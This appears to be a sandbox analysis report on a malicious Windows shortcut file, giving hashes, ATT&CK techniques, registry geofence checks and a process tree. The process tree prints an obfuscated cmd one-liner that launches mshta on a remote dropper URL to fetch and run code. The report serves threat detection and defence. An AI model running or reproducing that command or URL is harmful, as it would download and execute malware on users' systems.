fffe21df85f9042a1515d668ff19778d945e078c0850a3299e7794b26b716a30

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 12:52

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General

Target
DOC-1AIB10.lnk
Size 1KB
Sample260803-p36arabl7x
SHA256 fffe21df85f9042a1515d668ff19778d945e078c0850a3299e7794b26b716a30
MD5 d9b51d50ee7559d28ebf0dae877c6486
SHA1 902881e074cb3a02bf57b90ada16be8af586269d
SHA512 c44378d5d60ccfc123952081ede296de4fc1f41bc6aa40ff850b9726b9c6ba79541a31c8090ae46a8f0b4723de362ea41156cc4fd2911a619f249da6a1c89713
TLSH
T15E317B503FFD0664F3F38E7384BB571185BBB9659E21C61D0141464C1432A14E1BBF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4636	cmd.exe
3580	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 3580	4636	cmd.exe	85
PID 3580 wrote to memory of 888	3580	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1AIB10.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4636
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set qmjbL=msh&&set ez=ta&&start "" !qmjbL!!ez! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads